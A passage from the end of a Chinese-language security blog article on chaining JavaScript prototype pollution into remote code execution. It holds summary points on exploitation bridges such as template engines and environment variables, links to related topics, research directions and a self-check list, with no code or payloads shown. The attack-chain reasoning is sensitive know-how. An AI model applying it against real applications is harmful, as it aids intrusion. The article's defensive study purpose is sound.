  • 原型污染的本质:是JavaScript动态原型继承特性与不安全对象操作共同导致的漏洞,允许攻击者修改所有对象的“祖先”,从而影响程序全局状态。
  • 攻击链的构成:从客户端原型污染到RCE并非一步到位,而是需要找到“污染传播链”和“代码执行点”之间的桥梁。常见桥梁包括模板引擎、构建配置、环境变量和模块加载机制。
  • 利用的关键:成功利用依赖于识别应用中哪些部分会读取被污染的原型属性,并将这些属性值解释为代码或系统命令。这通常需要深入理解目标应用的技术栈和架构。
  • 防御的多层性:有效的防御需要覆盖开发(安全编码)、构建(依赖扫描)、部署(最小权限)和运行(入侵检测)的全生命周期,形成纵深防御。
  • 威胁的演进:随着直接利用路径被修补,攻击者转向更复杂的组合漏洞攻击和供应链攻击,安全团队需要保持对新型利用链的研究和警惕。
  • 知识体系连接

    本文内容在Web应用安全知识体系中的位置:

    前序知识(基础):

    · [JS-101] JavaScript原型与原型链深入解析:理解__proto__、prototype、constructor的关系。 · [WEB-102] 常见Web漏洞原理:XSS、CSRF、SSRF:理解客户端漏洞的基本利用模式。 · [NODE-101] Node.js安全基础:模块系统与事件循环:理解Node.js的运行环境。

    后续进阶(延伸):

    · [ADV-201] 高级前端漏洞:PostMessage、Web Worker与Service Worker安全:探索更复杂的客户端攻击面。 · [ADV-202] 服务端模板注入(SSTI)深度利用:深入研究模板引擎的漏洞利用,与原型污染结合。 · [ADV-301] 供应链安全:从污染开源包到企业网络沦陷:将原型污染置于更大的供应链攻击背景下分析。 · [BLUE-101] 应用运行时自我保护(RASP)与IAST技术:学习如何实时检测和阻断此类攻击。

    进阶方向指引

  • 自动化漏洞挖掘:研究如何结合静态分析(SAST)和动态分析(DAST)技术,自动化发现应用中的原型污染漏洞及其潜在的RCE利用链。可以关注基于AST(抽象语法树)的模式识别和污点跟踪技术。
  • 框架特异性研究:深入研究主流框架(如React、Vue、Angular)和库(如Lodash、jQuery)在处理对象合并、状态管理时的安全实现与历史漏洞。每个框架都可能存在独特的污染路径。
  • ES6+新特性的安全影响:研究Proxy、Reflect、Symbol等ES6+新特性如何影响原型污染的攻击与防御。例如,Proxy是否可以用于监控和阻止对__proto__的访问?Symbol属性是否不受原型污染影响?
  • 同源策略(SOP)与跨域原型污染:探索在跨域场景下,是否可能通过原型污染绕过某些安全边界,或与其他跨域漏洞(如CORS配置错误)结合形成新型攻击链。

  • 自检清单

    · 是否明确定义了本主题的价值与学习目标? · 开篇明确了从客户端原型污染到RCE的攻击链在渗透测试和安全防御中的战略价值,并列出了5个具体、可衡量的学习目标。 · 原理部分是否包含一张自解释的Mermaid核心机制图? · 第二部分提供了完整的攻击链Mermaid流程图,展示了从污染输入到最终RCE的完整路径和四种主要利用方向。 · 实战部分是否包含一个可运行的、注释详尽的代码片段? · 第三部分提供了完整的脆弱服务器代码、模板文件和详细的逐步攻击演示,并包含了一个带有安全警告、错误处理和详细注释的自动化扫描脚本。 · 防御部分是否提供了至少一个具体的安全代码示例或配置方案? · 第四部分提供了多个安全编码示例(安全合并函数、输入净化)、安全的Node.js配置、包管理配置、日志监控代码和WAF规则示例。 · 是否建立了与知识大纲中其他文章的联系? · 第五部分明确列出了前序知识(JS原型、Web基础漏洞、Node基础)和后续进阶(高级前端漏洞、SSTI、供应链安全、RASP),构建了完整知识图谱。 · 全文是否避免了未定义的术语和模糊表述? · 所有关键技术术语(如原型污染、RCE、SSTI、SCA等)在首次出现时均有解释或上下文定义,概念表述清晰准确。

    赞(0)
    未经允许不得转载:171主机测评 » 客户端原型污染到RCE的攻击链
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址